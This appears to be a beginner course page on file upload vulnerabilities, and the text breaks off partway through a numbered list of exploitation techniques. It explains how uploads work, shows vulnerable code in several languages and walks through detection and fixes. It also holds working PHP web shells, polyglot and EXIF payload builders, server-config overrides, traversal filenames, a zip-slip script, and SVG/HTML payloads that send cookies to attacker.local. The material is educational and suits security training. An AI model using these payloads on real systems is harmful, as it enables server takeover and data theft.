File & PathMediumServer-Side

File Upload

A complete guide to understanding, detecting, exploiting, and preventing File Upload vulnerabilities.

Take Exam

Step 1 of 2Introduction0% Complete

Introduction

File Upload Vulnerabilities

The Complete ANAS EDUCATION Course (Beginner Edition)

"An uploaded file is just a string of bytes. What turns it from safe to dangerous is where it lands on the server and what the server does with it."

1. Introduction

Imagine you open your PC and visit `anastech.com`.

You log in. You go to your profile settings. You see a button that says "Change Profile Picture". You click it.

The browser opens a file picker on your computer. You choose a photo of your cat called `cat.jpg`. You click "Save".

In the next half-second, four things happen, very fast:

  • Your browser reads the bytes of `cat.jpg` from your hard drive.
  • Your browser packs the bytes into an HTTP request with a special envelope called `multipart/form-data`.
  • Your browser sends that request to a URL on the server, for example `https://anastech.com/upload`.
  • The server receives the bytes and writes them somewhere on its own hard drive, for example `/var/www/html/uploads/cat.jpg`.

If you then reload your profile page, the browser asks for `https://anastech.com/uploads/cat.jpg`. The server reads the file off disk and sends the bytes back. The browser shows the image. You see your cat. Everyone is happy.

Now look at the same picture again, but with a question on top of it:

  • What if the file you sent was not `cat.jpg`?
  • What if it was a tiny text file called `shell.php`?
  • What if the inside of that file was twelve bytes that say: `<?php system($_GET['c']); ?>`?

If the server still saves the file in the same place, and the server happens to run PHP, then anyone who visits:

text
https://anastech.com/uploads/shell.php?c=id

is not asking for a picture anymore. They are running a command on the server.

That is the file upload vulnerability. It is what happens when a feature that was supposed to accept pictures accepts code instead, and when the server treats the code as code.

This course teaches that idea slowly and completely. By the end you will know:

  • How a normal file upload works step by step.
  • Where the danger lives.
  • How attackers find the danger.
  • How defenders close the door.

You do not need to be an expert. You just need to read carefully.

2. How It Works

To find the bug, you first need to understand the normal feature in detail. Walk through it with us.

Step 1. You pick a file in the browser

When you click "Change Profile Picture" on `anastech.com`, the page contains HTML that looks like this:

html
<form action="/upload" method="POST" enctype="multipart/form-data">
    <input type="file" name="avatar">
    <button type="submit">Upload</button>
</form>

Three things matter on this form:

  • `action="/upload"` ==> the URL the browser will send the file to.
  • `method="POST"` ==> the HTTP method.
  • `enctype="multipart/form-data"` ==> the special envelope that carries binary files.

The `<input type="file">` opens the file picker on your computer when you click it. The `name="avatar"` is the label the server will use to find the file inside the request body.

Step 2. The browser builds the HTTP request

When you click "Upload", the browser builds a request that looks like this:

text
POST /upload HTTP/1.1
Host: anastech.com
Content-Type: multipart/form-data; boundary=----abc123
Content-Length: 6342

------abc123
Content-Disposition: form-data; name="avatar"; filename="cat.jpg"
Content-Type: image/jpeg

[here come the actual bytes of cat.jpg]
------abc123--

Five pieces of information travel together:

  • The field name (`avatar`). The server looks up which form field this is.
  • The filename (`cat.jpg`). A suggestion from the browser.
  • The Content-Type (`image/jpeg`). Also a suggestion from the browser.
  • The bytes of the file.
  • The total size (Content-Length).

Important: every one of these five values comes from your computer. Tools like Burp Suite or `curl` can change any of them to anything before sending. The server cannot trust the client.

Step 3. The server receives the request

Server-side code (PHP, Python, Node, Java, anything) reads the request. Here is a tiny PHP example:

php
<?php
$file_field = $_FILES['avatar'];
$name = $file_field['name'];      // "cat.jpg"
$type = $file_field['type'];      // "image/jpeg"
$tmp  = $file_field['tmp_name'];  // a temp path
$size = $file_field['size'];      // 6342

move_uploaded_file($tmp, "/var/www/html/uploads/" . $name);
?>

The server:

  • Reads the multipart request.
  • Saves the bytes to a temporary file (here, `$tmp`).
  • Moves that file into the upload folder, using the original filename.

After this line, there is a real file on disk at `/var/www/html/uploads/cat.jpg`.

Step 4. The file becomes a URL

Most upload folders are inside the web root: the folder the web server publicly serves. That means a file saved at `/var/www/html/uploads/cat.jpg` is reachable at:

text
https://anastech.com/uploads/cat.jpg

Anyone with that URL can download the file.

Step 5. The server might EXECUTE the file

This is the dangerous step. The web server is configured to run certain file types as code, not just send them as bytes. Examples:

  • Apache + PHP-FPM ==> any file ending in `.php`, `.phtml`, `.pht`, `.phar`, `.php5` is sent through the PHP engine.
  • Tomcat ==> any file ending in `.jsp` or `.jspx` is compiled and run as Java.
  • IIS ==> any file ending in `.asp` or `.aspx` is run as classic ASP or ASP.NET.
  • Some setups also run `.cgi`, `.pl`, `.py`, `.rb`.

If the file the user uploaded ends in one of these extensions, and the upload folder is inside the web root, then opening the URL no longer just downloads the file. It runs the file.

text
┌────────────────────────────────────────────────────────────┐
│                  NORMAL UPLOAD                             │
│                                                            │
│  Browser ────► POST /upload (cat.jpg) ────► Server         │
│                                              │             │
│                                              ▼             │
│                                       Save to disk         │
│                                              │             │
│                                              ▼             │
│  Browser ◄──── GET /uploads/cat.jpg ◄──── Send bytes back  │
│                                                            │
└────────────────────────────────────────────────────────────┘

┌────────────────────────────────────────────────────────────┐
│            DANGEROUS UPLOAD                                │
│                                                            │
│  Browser ────► POST /upload (shell.php) ────► Server       │
│                                              │             │
│                                              ▼             │
│                                       Save to disk         │
│                                              │             │
│                                              ▼             │
│  Browser ───► GET /uploads/shell.php?c=id                  │
│                                              │             │
│                                              ▼             │
│                                       PHP engine runs      │
│                                       the code             │
│                                              │             │
│                                              ▼             │
│  Browser ◄──── output of `id` command ◄──── output         │
│                                                            │
└────────────────────────────────────────────────────────────┘

The whole vulnerability lives in that second diagram. The file is just bytes. The danger is that the server runs the bytes.

Step 6. The server should check the file (but often does not)

A good server checks several things before saving:

text
CHECK                  WHAT IT MEANS                  HOW IT FAILS
─────                  ─────────────                  ────────────
Extension allowlist    Only allow .jpg, .png          Blacklist misses .phtml
MIME type              Check Content-Type             Client can forge it
Magic bytes            Read first bytes of file       Polyglot file fools it
File size              Reject if too big              No check causes DoS
Filename safety        Strip path separators          Forgot to strip ../
Storage location       Save outside web root          Saved in /var/www
Execution permission   No script exec in folder       Default Apache config

Each missing check is a step closer to a working attack.

3. Attack Flow

An attacker follows a careful sequence. Read each step in order.

Step 1. Find an upload form

Anywhere a user can send a file to the server: profile picture, document attachment on a support ticket, image inside a comment, CV upload on a careers page, theme installer in an admin panel, CSV import in a settings page.

Step 2. Send a normal file first

Upload a real `test.jpg`. Note three things:

  • Did the server accept the file?
  • What URL is the file served from? (Often the response says "File saved at /uploads/test.jpg".)
  • What does the response look like when something fails? (Different errors leak the validation logic.)

Step 3. Send a tiny script disguised in the simplest way

Try uploading a file called `shell.php` whose contents are:

php
<?php system($_GET['c']); ?>

Possible server responses:

  • `200 OK` and saved at `/uploads/shell.php` ==> ALMOST DONE. Skip to step 6.
  • `400 Bad Request` with "extension not allowed" ==> the server has a filter. Continue to step 4.
  • `200 OK` but saved with a random filename ==> filter is good. Try other tricks.
  • Other errors ==> read the message and adapt.

Step 4. Try common bypasses

The single most effective list of variants to try:

text
shell.PHP            (different case)
shell.phtml          (alternate PHP extension)
shell.pht
shell.phar
shell.php5
shell.php.jpg        (double extension, real extension first)
shell.jpg.php        (double extension, real extension last)
shell.php%00.jpg     (null byte truncation, only on legacy)
shell.php.           (trailing dot)
shell.php;.jpg       (semicolon trick, IIS)

Try each one. Watch for which one is accepted.

Step 5. Try Content-Type forgery and content tricks

If the filter is happy with the filename, the server may still check the file body or the MIME type. Bypasses:

  • Use Burp Suite to change `Content-Type: application/x-php` to `Content-Type: image/jpeg` in the multipart request.
  • Create a file that starts with bytes that look like a JPEG and then has PHP code after:
bash
printf '\xff\xd8\xff\xe0' > shell.phtml
echo '<?php system($_GET["c"]); ?>' >> shell.phtml

This is called a polyglot file. The first bytes pass a "magic bytes" check. The rest of the file contains the code.

Step 6. Visit the file to confirm execution

If the file is saved at `/uploads/shell.phtml`, open in a browser:

text
https://anastech.com/uploads/shell.phtml?c=id

Expected response if execution works:

text
uid=33(www-data) gid=33(www-data) groups=33(www-data)

If you see that, the server is running your code.

Step 7. Escalate

Once code runs, the attacker can do anything the web user can do:

  • Read `/etc/passwd`.
  • Read `/var/www/.env` (database credentials, API keys).
  • Open a reverse shell to the attacker's IP.
  • Read AWS metadata at `http://169.254.169.254/`.
  • Steal customer data.
text
TIME ──────────────────────────────────────────────────────────►

[Find upload]──[Send shell.php]──[Filter blocks]──[Try shell.phtml]──[Accepted]──[Visit URL]──[RCE]──[Reverse shell]──[Full compromise]

Every file upload attack follows that exact heartbeat. Different filters, different bypasses, same outcome.

4. Why Developers Make This Mistake

The developer who wrote this:

php
$ext = pathinfo($file['name'], PATHINFO_EXTENSION);
if (in_array($ext, ['jpg','png','gif'])) {
    move_uploaded_file($file['tmp_name'], '/var/www/uploads/' . $file['name']);
}

did not see a security problem because they were thinking like this:

  • "The user is sending a picture."
  • "I checked the extension. That feels enough."
  • "The folder is just a folder; it stores files."
  • "Apache runs PHP, but only the PHP I write."

Each of those four thoughts is a mistake. The reasons:

  • "The user is sending a picture." No. The user is sending bytes. The label "picture" is what the user says, not what the bytes are.
  • "I checked the extension. That feels enough." No. There are at least nine extensions that Apache runs as PHP (`.php`, `.php3`, `.php4`, `.php5`, `.php7`, `.phtml`, `.pht`, `.phar`, `.phps`). Blacklists never list them all. Allowlists do.
  • "The folder is just a folder." No. The folder is inside the web root. Web servers run code from any folder where script execution is enabled, which is almost always on by default.
  • "Apache runs PHP, but only the PHP I write." No. Apache runs any file that has the right extension. It does not know who wrote it.

The deeper reason behind the mistake: developers think about features, attackers think about side effects.

  • The feature is "save a picture".
  • The side effect is "create a public URL that runs code if the bytes look like code".

Once you see the side effect, the bug becomes obvious.

5. Beginner Summary

  • A file upload bug happens when a website lets a user save a file on the server and the server later runs that file as code.
  • The simplest test is to upload a small file like `shell.php` with the content `<?php system($_GET['c']); ?>`, visit the URL, and see if `id` runs.
  • Most validation in real apps checks only one thing (the extension OR the MIME header). Attackers bypass that one check with variants like `.phtml`, `.pht`, double extensions, or fake MIME types.
  • The damage ranges from stored XSS (uploading HTML or SVG) all the way to full server takeover (uploading and executing a PHP, JSP, or ASPX shell).
  • The fix is layered: allowlist of extensions, MIME + magic byte checks, random filename, storage outside the web root, no script execution in the upload folder.

If you remember those five lines, you have the whole concept.

6. Visual Explanation

The five layers a safe upload should pass

text
┌─────────────────────────────────────────────────────────┐
│                  Incoming Upload                        │
└─────────────────────────────┬───────────────────────────┘
                              │
                              ▼
                  ┌─────────────────────┐
                  │ 1. Size check       │ ─► too big? REJECT
                  └─────────┬───────────┘
                            │
                            ▼
                  ┌─────────────────────┐
                  │ 2. Extension        │ ─► not in allowlist? REJECT
                  │    allowlist        │
                  └─────────┬───────────┘
                            │
                            ▼
                  ┌─────────────────────┐
                  │ 3. MIME check       │ ─► mismatch? REJECT
                  │    (server-side)    │
                  └─────────┬───────────┘
                            │
                            ▼
                  ┌─────────────────────┐
                  │ 4. Magic byte       │ ─► header wrong? REJECT
                  │    signature        │
                  └─────────┬───────────┘
                            │
                            ▼
                  ┌─────────────────────┐
                  │ 5. Re-encode image  │ ─► strips embedded code
                  └─────────┬───────────┘
                            │
                            ▼
                  ┌─────────────────────┐
                  │ Save outside web    │
                  │ root, random name   │
                  └─────────────────────┘

The same diagram if the server is naive

text
┌─────────────────────────────────────────────────────────┐
│                  Incoming Upload                        │
└─────────────────────────────┬───────────────────────────┘
                              │
                              ▼
                  ┌─────────────────────┐
                  │  Save with original │
                  │  filename in        │
                  │  /var/www/uploads   │
                  └─────────┬───────────┘
                            │
                            ▼
                  ┌─────────────────────┐
                  │  Done. Return URL.  │
                  └─────────────────────┘

No checks. Anything goes.

The five things the attacker can change in the request

text
┌──────────────────────────────────────────────────────────┐
│  multipart/form-data Body                                │
│                                                          │
│  filename="shell.php"     ◄── attacker controls          │
│  Content-Type: image/jpeg ◄── attacker controls          │
│  field name="avatar"      ◄── attacker controls          │
│  bytes: <?php system... ?>◄── attacker controls          │
│  Content-Length: 35       ◄── computed but forgeable     │
│                                                          │
└──────────────────────────────────────────────────────────┘

The vulnerability ladder

text
                     ┌────────────────────┐
                     │  Stored XSS        │
                     │  upload .html/.svg │
                     └─────────┬──────────┘
                               │ if HTML/SVG renders
                               ▼
                     ┌────────────────────┐
                     │  Source disclosure │
                     │  server shows raw  │
                     │  code as text      │
                     └─────────┬──────────┘
                               │ if exec config differs
                               ▼
                     ┌────────────────────┐
                     │  Code execution    │
                     │  shell.php runs    │
                     └─────────┬──────────┘
                               │ if web user has access
                               ▼
                     ┌────────────────────┐
                     │  Reverse shell     │
                     │  attacker controls │
                     │  the host          │
                     └─────────┬──────────┘
                               │ if metadata reachable
                               ▼
                     ┌────────────────────┐
                     │  Cloud takeover    │
                     │  IAM credentials   │
                     │  read              │
                     └────────────────────┘

Read those four diagrams. They are the whole bug class.

7. Definition

Technical definition. A file upload vulnerability is a class of web application weakness in which a server accepts user-supplied files without enforcing strict validation on the filename, MIME type, magic bytes, content, size, and storage location, allowing an attacker to write arbitrary files on the server, possibly in a location where the web server will execute them as code, leading to outcomes from stored XSS up to remote code execution and host compromise.

Beginner-friendly definition. A file upload bug is when a website lets you upload a file that should not be there, like a PHP script disguised as an image, and the server then runs it.

Why it matters. File upload is one of the most direct paths to remote code execution in modern web apps. It appears in CMS plugins, e-commerce platforms, social networks, document managers, ticketing systems, and any feature that lets users send media. Recent critical incidents include CVE-2025-0520 (ShowDoc unauthenticated RCE, CVSS 9.4), CVE-2025-67260 (Terrapack), CVE-2025-65875 (FPDF AddFont), CVE-2025-12682 (WordPress Easy Upload Files), CVE-2025-52691 (SmarterMail unauthenticated RCE), CVE-2024-30500 (cubewp-framework Zip upload), and the Apache Tomcat partial-PUT family (CVE-2025-24813). The bug class is tracked by MITRE as CWE-434 (Unrestricted Upload of File with Dangerous Type) and CWE-22 (Path Traversal) when filenames are abused.

Common affected systems.

  • Content Management Systems and their plugin ecosystems
  • Document managers (ShowDoc, Confluence attachments)
  • E-commerce platforms (checkout uploads, product images)
  • Social networks (avatars, cover photos, post media)
  • Ticketing and CRM systems (attachment fields)
  • Admin panels with theme or plugin installers
  • Careers/HR portals with CV upload
  • APIs that accept base64-encoded files in JSON

If a feature lets a user send bytes that touch the filesystem, file upload may live there.

8. Examples

Five realistic scenarios. Each is written as a small walkthrough, no characters.

Example 1. Profile Picture Upload with a Blacklist

The feature. A social app lets users set an avatar. The server blacklists `.php`, `.php5`, and `.exe`.

php
$blocked = ['php', 'php5', 'exe'];
if (in_array($ext, $blocked)) reject();
move_uploaded_file($_FILES['avatar']['tmp_name'],
                   '/var/www/html/uploads/' . $name);

The bug. The blacklist is incomplete. Apache also runs `.phtml`, `.pht`, and `.phar` as PHP. Those are not in the list.

The attack step by step.

  • Upload a file called `shell.phtml` containing `<?php system($_GET['c']); ?>`.
  • Server accepts.
  • Visit `https://anastech.com/uploads/shell.phtml?c=id`.
  • Output: `uid=33(www-data) gid=33(www-data)`.
  • Replace the content with a reverse shell. Get a terminal on the server.

Example 2. Document Upload Validated by Content-Type

The feature. A document manager accepts `.pdf` and `.docx`. The server reads the `Content-Type` header from the request and trusts it.

python
if request.files['doc'].content_type not in ['application/pdf', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document']:
    return abort(400)

The bug. The `Content-Type` value is set by the browser. It is not derived from the bytes. Burp Suite can change it to anything.

The attack step by step.

  • Prepare a file `shell.php` with PHP code.
  • Send the upload through Burp.
  • In Burp Repeater, change the `Content-Type` header from `application/x-php` to `application/pdf`.
  • Server accepts.
  • Visit the file URL. PHP runs.

Example 3. Image Upload Validated by Magic Bytes

The feature. An e-commerce site accepts proof-of-purchase images. The server checks the first three bytes of the file. If they equal `FF D8 FF` (JPEG header), it accepts.

javascript
const head = buffer.slice(0,3).toString('hex');
if (head !== 'ffd8ff') return res.status(400).send('not jpeg');

The bug. The magic bytes prove only that the file starts like a JPEG. The rest can be anything.

The attack step by step.

  • Build a polyglot file:
bash
printf '\xff\xd8\xff\xe0' > pwn.phtml
echo '<?php system($_GET["c"]); ?>' >> pwn.phtml
  • Upload. Magic byte check passes (first three bytes are correct).
  • File is saved as `pwn.phtml`.
  • Apache executes `.phtml` as PHP.
  • Visit the URL. RCE.

Example 4. Resume Upload with No Path Sanitization

The feature. A careers portal accepts resumes and stores them using the original filename.

java
String name = request.getPart("resume").getSubmittedFileName();
Files.copy(part.getInputStream(),
           Paths.get("/srv/uploads/" + name));

The bug. The filename can contain `../../../`. The file lands wherever the attacker wants.

The attack step by step.

  • Send the upload with filename `../../var/www/html/shell.jsp`.
  • URL-encoded: `..%2f..%2fvar%2fwww%2fhtml%2fshell.jsp`.
  • The file lands in the web root, not in `/srv/uploads`.
  • Tomcat compiles and executes the JSP.
  • RCE.

Example 5. The `.htaccess` Override Trick

The feature. An app blacklists every known executable extension and feels confident.

The bug. The blacklist does not include `.htaccess`. Apache reads `.htaccess` files from any directory and lets them change server behavior in that directory.

The attack step by step.

  • Upload a file called `.htaccess` with the contents:
text
AddType application/x-httpd-php .anastech
  • Upload a second file called `pwn.anastech` containing `<?php system($_GET['c']); ?>`.
  • Apache reads the `.htaccess`, learns to treat `.anastech` as PHP inside `/uploads/`.
  • Visit `https://anastech.com/uploads/pwn.anastech?c=id`. RCE.

Each pattern shows up in real disclosed reports. The mechanics never change.

9. Vulnerable Code

PHP ==> blacklist on extension only

php
<?php
$blocked = ['php', 'php5', 'phtml', 'exe'];
$name = $_FILES['file']['name'];
$ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));

if (in_array($ext, $blocked)) {
    die("blocked extension");
}

move_uploaded_file($_FILES['file']['tmp_name'],
                   "/var/www/html/uploads/" . $name);
echo "Saved to /uploads/" . $name;
?>

What is wrong:

  • The blacklist is incomplete. `.pht` and `.phar` are missing.
  • The filename comes straight from the client (no rename).
  • The folder is inside the web root.

Fix: switch to allowlist, rename the file to a UUID, save outside web root.

PHP ==> MIME check only

php
<?php
if ($_FILES['avatar']['type'] !== 'image/jpeg') {
    die("Only JPEG allowed");
}
move_uploaded_file($_FILES['avatar']['tmp_name'],
                   "uploads/" . $_FILES['avatar']['name']);
?>

What is wrong: `$_FILES['avatar']['type']` is whatever the browser said. A tool can send any value.

PHP ==> Magic-byte check only

php
<?php
$header = file_get_contents($_FILES['avatar']['tmp_name'], false, null, 0, 3);
if (bin2hex($header) !== 'ffd8ff') die("Not JPEG");
move_uploaded_file($_FILES['avatar']['tmp_name'],
                   "uploads/" . $_FILES['avatar']['name']);
?>

What is wrong: the bytes prove only the first three bytes look like a JPEG. The filename can still be anything (including `.phtml` or `.htaccess`).

Python (Flask) ==> Trusting the filename

python
from flask import Flask, request
import os

app = Flask(__name__)
UPLOAD_DIR = "/srv/anastech/uploads"

@app.route("/upload", methods=["POST"])
def upload():
    f = request.files["file"]
    path = os.path.join(UPLOAD_DIR, f.filename)
    f.save(path)
    return "saved to " + path

What is wrong: `f.filename` is whatever the client said. `os.path.join(UPLOAD_DIR, '../../etc/anything')` silently escapes the upload directory.

Python (Flask) ==> Last-extension allowlist with a flaw

python
ALLOWED = {'png', 'jpg', 'jpeg', 'gif'}

@app.route("/upload", methods=["POST"])
def upload():
    f = request.files["file"]
    ext = f.filename.rsplit('.', 1)[1].lower()
    if ext not in ALLOWED:
        return "bad ext"
    f.save(os.path.join("/var/www/upl", f.filename))
    return "ok"

What is wrong: only the last extension is checked. `shell.php.jpg` passes (`.jpg` is the last extension), and Apache with `AddHandler application/x-httpd-php .php` will still execute it as PHP.

Node.js (Express + Multer) ==> No filter

javascript
const express = require('express');
const multer = require('multer');
const app = express();

const upload = multer({ dest: 'public/uploads/' });

app.post('/upload', upload.single('file'), (req, res) => {
  res.send('Uploaded to: /uploads/' + req.file.originalname);
});

What is wrong: no `fileFilter`. No rename. File lands in a public folder.

Node.js (Express) ==> Insufficient extension check

javascript
const upload = multer({
  storage: multer.diskStorage({
    destination: 'public/uploads/',
    filename: (req, file, cb) => cb(null, file.originalname),
  }),
  fileFilter: (req, file, cb) => {
    const blocked = ['.js', '.ejs'];
    const ext = path.extname(file.originalname).toLowerCase();
    if (blocked.includes(ext)) return cb(new Error('blocked'));
    cb(null, true);
  }
});

What is wrong: only the last extension is checked. `shell.ejs.png` passes. If a downstream service reads the file by content type rather than extension, the EJS code may still run.

Java (Servlet) ==> Trusting the submitted filename

java
@WebServlet("/upload")
@MultipartConfig
public class UploadServlet extends HttpServlet {
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException, ServletException {
        Part part = req.getPart("file");
        String name = part.getSubmittedFileName();
        part.write("/opt/tomcat/webapps/ROOT/uploads/" + name);
    }
}

What is wrong: `part.write` writes inside the deployed web app. A `.jsp` file is compiled by Tomcat on first request.

Java (Spring Boot) ==> Wrong content-type check

java
@PostMapping("/upload")
public String upload(@RequestParam("file") MultipartFile file) throws IOException {
    if (!"image/jpeg".equals(file.getContentType())) {
        throw new IllegalArgumentException("Only JPEG");
    }
    Path target = Paths.get("/srv/uploads", file.getOriginalFilename());
    Files.copy(file.getInputStream(), target);
    return "ok";
}

What is wrong: `file.getContentType()` reflects the client header. Forge in Burp.

C# (.NET Core) ==> Trusting filename, saving inside wwwroot

csharp
[HttpPost("upload")]
public async Task<IActionResult> Upload(IFormFile file)
{
    var path = Path.Combine("wwwroot/uploads", file.FileName);
    using var stream = System.IO.File.Create(path);
    await file.CopyToAsync(stream);
    return Ok("Saved to /uploads/" + file.FileName);
}

What is wrong: `Path.Combine` does not normalize traversal. `file.FileName` can contain `..\\`. The webroot is served, and `.aspx`, `.cshtml`, `.razor` files are executed.

Ruby (Rails) ==> Permissive content_type with no path safety

ruby
class UploadsController < ApplicationController
  def create
    file = params[:file]
    File.open(Rails.root.join('public', 'uploads', file.original_filename), 'wb') do |f|
      f.write(file.read)
    end
    render plain: "ok"
  end
end

What is wrong: `public/uploads/` is served directly. `original_filename` is attacker-controlled.

Go (net/http) ==> Filename concat

go
func uploadHandler(w http.ResponseWriter, r *http.Request) {
    file, handler, _ := r.FormFile("file")
    defer file.Close()
    f, _ := os.Create("/srv/upl/" + handler.Filename)
    defer f.Close()
    io.Copy(f, file)
}

What is wrong: `handler.Filename` is client-supplied. Traversal works.

The universal pattern across languages

text
1. Read upload from the request.
2. Take the client-supplied filename without normalizing it.
3. Pick a folder inside the web root.
4. Concatenate folder + filename without validation.
5. Write the bytes to disk.
6. Trust that the file extension matches the content.

Steps 2, 3, and 4 are where the bug is born. Every time.

10. Detection

Detection is the step where you confirm a bug exists. Walk through each test in order. Stop only when you have a clear hit.

Step 1. List every upload point

A typical web app has several. Tick each box you can find:

text
[ ] Avatar / profile picture
[ ] Cover photo / banner
[ ] Post media (image, video, audio)
[ ] Story / status upload
[ ] Comment attachment
[ ] Support ticket attachment
[ ] Contact form file attachment
[ ] Resume / CV upload on a careers page
[ ] Document import (CSV, JSON, XML)
[ ] Theme installer in admin
[ ] Plugin installer in admin
[ ] Backup restore in admin
[ ] Custom design uploader (e-commerce)
[ ] PDF/image processing API

Step 2. Baseline a normal upload

For each upload point:

  • Send a real `test.jpg`. Note the response.
  • Note the final URL of the file.
  • Note whether the response echoes the filename, returns a UUID, or hides the path.

Step 3. Send the simplest dangerous file

Upload `shell.php` with the content `<?php echo 'pwn-marker'; ?>`. Watch:

  • Was it accepted? If yes, go to step 6.
  • Was it rejected? Read the error. It will hint at the filter.

Step 4. Walk the bypass ladder

For each rejection, try the next variant:

text
shell.php           ─►  rejected
shell.PhP           ─►  case bypass
shell.phtml         ─►  alternate extension
shell.pht           ─►  alternate extension
shell.phar          ─►  alternate extension
shell.php5          ─►  alternate extension
shell.php.jpg       ─►  double extension
shell.jpg.php       ─►  double extension
shell.php%00.jpg    ─►  null byte (legacy only)
shell.php.          ─►  trailing dot (Apache)
shell.php;.jpg      ─►  semicolon (IIS)
.htaccess           ─►  server config override
web.config          ─►  IIS config override
.user.ini           ─►  PHP-FPM config override

Step 5. Try MIME and content tricks

If the filename filter is good, try the body:

  • In Burp, change `Content-Type` to `image/jpeg` even when the file is PHP.
  • Make a polyglot file:
bash
printf '\xff\xd8\xff\xe0' > pwn.phtml
echo '<?php system($_GET["c"]); ?>' >> pwn.phtml
  • Use ExifTool to put PHP inside the EXIF comment of a real JPEG:
bash
exiftool -Comment='<?php system($_GET["c"]); ?>' real.jpg
mv real.jpg pwn.phtml

Step 6. Verify execution

After every successful upload, fetch the file URL:

  • If response is `<?php echo 'pwn-marker'; ?>` ==> file is served as text, no execution. (Stored source disclosure, low.)
  • If response is `pwn-marker` ==> code executed. (RCE.)
  • If response is `200 OK` with no body ==> code executed but printed nothing. Try `?c=id`.
  • If response is `403` ==> file uploaded but folder blocks execution.
  • If response is `404` ==> wrong URL. Look at where the file actually landed.

Step 7. Confirm impact

Once execution works, upload a small command shell and run:

text
?c=id
?c=whoami
?c=hostname
?c=cat /etc/passwd
?c=cat /var/www/.env

Each one gives a different piece of evidence. Use them together in the report.

Burp Suite checklist

  • Intercept the upload.
  • Send to Repeater.
  • Modify ONE thing per request: filename, then Content-Type, then bytes. Never two at once.
  • Use Intruder with the bypass list from step 4.
  • Use the Upload Scanner Burp extension (Florian Maier) for automated coverage.

Automated tools

  • fuxploider ==> https://github.com/almandin/fuxploider ==> tries 200+ filename variants and confirms execution.
  • Burp Upload Scanner ==> bundled bypass payloads.
  • Nuclei templates tagged `file-upload` ==> known CMS bugs.
  • wpscan ==> for WordPress plugins with known upload CVEs.

Quick fuxploider command:

bash
python3 fuxploider.py --url https://anastech.com/upload --not-regex "not allowed"

Indicators that an upload is likely to be vulnerable

  • "Upload your profile picture" with no obvious size restriction.
  • Response includes the path or URL of the saved file.
  • Response echoes the filename back unchanged.
  • Directory listing of `/uploads/` is accessible.
  • Old plugin or CMS version visible in `Server:` header (look up the version for known CVEs).
  • Endpoint accepts a wide range of file types.
  • The application has a "media library", "import", or "theme upload" feature.

Train your eye. Every upload form is a possible code-execution engine.

11. Exploitation

This is where you turn detection into impact. Read each technique carefully.

Workflow

text
1. Find every upload point.
2. Send a benign baseline file. Note URL and response.
3. Send progressively dangerous probes. Identify which validation layer is present.
4. Pick the bypass that defeats that layer.
5. Upload a tiny test shell and confirm execution.
6. If execution works, upload a full command-execution shell.
7. Escalate to a reverse shell, then to host compromise.
8. Document with screenshots, exact payloads, and full HTTP traces.

Advanced techniques (numbered 1 to 30)

1. Extension allowlist bypass via double extensions

Servers that check "is the last extension safe?" miss filenames like:

text
shell.php.jpg   ==> Apache scanning all extensions may execute as PHP
shell.jpg.php   ==> simpler servers run the last extension
shell.php5.jpg  ==> .php5 still mapped to PHP-FPM

2. Null byte truncation

Older PHP and Java versions stopped reading at a null byte:

text
shell.php%00.jpg

Validator sees `.jpg`. Filesystem sees `shell.php`. Mostly patched on modern stacks, still works on legacy.

3. URL-encoded and double-encoded dots

If the validator decodes once but the filesystem uses the encoded version:

text
shell.p%68p           ==> shell.php
shell%252Ephp         ==> double-encoded dot
shell%c0%aephp        ==> overlong UTF-8 dot

4. Trailing character trick

Apache strips trailing dots and spaces:

text
shell.php.
shell.php
shell.php%20
shell.php::$DATA      ==> NTFS alternate data stream

5. Semicolon trick on IIS

IIS 6 and some IIS 7 configs treat the part before `;` as the executable name:

text
shell.asp;.jpg
shell.aspx;.jpg

6. IIS lesser-known extensions

When `.asp` and `.aspx` are blocked, try:

text
shell.cer
shell.asa
shell.cdx
shell.shtml
shell.ashx
shell.asmx

7. PHP-executable extension family

Apache + PHP-FPM commonly map all of these:

text
.php  .php3  .php4  .php5  .php7  .phtml  .pht  .phar  .phps

`.phar` (PHP archive) is the underused gem. `.phps` returns source if configured.

8. JSP variants on Tomcat

text
.jsp  .jspx  .jspf  .jsw  .jsv  .jtml

`.jspx` is XML-based JSP and often missing from blacklists.

9. Polyglot files

A polyglot is valid as two formats at once. JPEG + PHP:

bash
echo -ne '\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01' > polyglot.jpg
echo '<?php system($_GET["c"]); ?>' >> polyglot.jpg
mv polyglot.jpg polyglot.phtml

GIF + PHP:

bash
echo -ne 'GIF89a;' > p.gif
echo '<?php system($_GET["c"]); ?>' >> p.gif
mv p.gif pwn.phtml

ExifTool can hide PHP in EXIF metadata of a real image:

bash
exiftool -Comment='<?php system($_GET["c"]); ?>' real-photo.jpg
mv real-photo.jpg real-photo.phtml

10. SVG stored XSS

If RCE is not possible, SVG upload usually is. SVG is XML, XML can carry JavaScript:

xml
<?xml version="1.0" standalone="yes"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">
    fetch('https://attacker.local/?c=' + document.cookie);
  </script>
</svg>

When another user (especially admin) views the SVG, the script runs in the application origin.

11. HTML and .eml upload for XSS

html
<html><script>fetch('//attacker.local/?c='+document.cookie)</script></html>

Upload as `pwn.html`. Some apps even render `.eml` as HTML.

12. .htaccess override on Apache

text
AddType application/x-httpd-php .anastech

Upload `.htaccess` with this content. Then upload `shell.anastech`. RCE.

13. web.config override on IIS

Upload `web.config` to a writable directory:

xml
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <system.webServer>
    <handlers accessPolicy="Read, Script, Write">
      <add name="anastech" path="*.config" verb="*"
           modules="IsapiModule"
           scriptProcessor="%windir%\system32\inetsrv\asp.dll"
           resourceType="Unspecified" />
    </handlers>
  </system.webServer>
</configuration>

14. .user.ini override on PHP-FPM

If Apache or PHP-FPM honors `.user.ini`, drop one to set `auto_prepend_file`:

ini
auto_prepend_file=/var/www/html/uploads/shell.gif

Combined with a polyglot GIF, this gives RCE through every PHP page in that folder.

15. Path traversal in filename

When filename is concatenated into a path:

text
filename: ../../../var/www/html/shell.php
encoded:  ..%2f..%2f..%2fvar%2fwww%2fhtml%2fshell.php
double:   ..%252f..%252f..%252fvar%252fwww%252fhtml%252fshell.php

The shell lands wherever the attacker wants.

16. Zip slip and archive bombs

If the server unzips uploaded archives, name the entries with traversal:

python
import zipfile
with zipfile.ZipFile('exploit.zip','w') as z:
    z.writestr('../../var/www/html/shell.php',
               '<?php system($_GET["c"]); ?>')

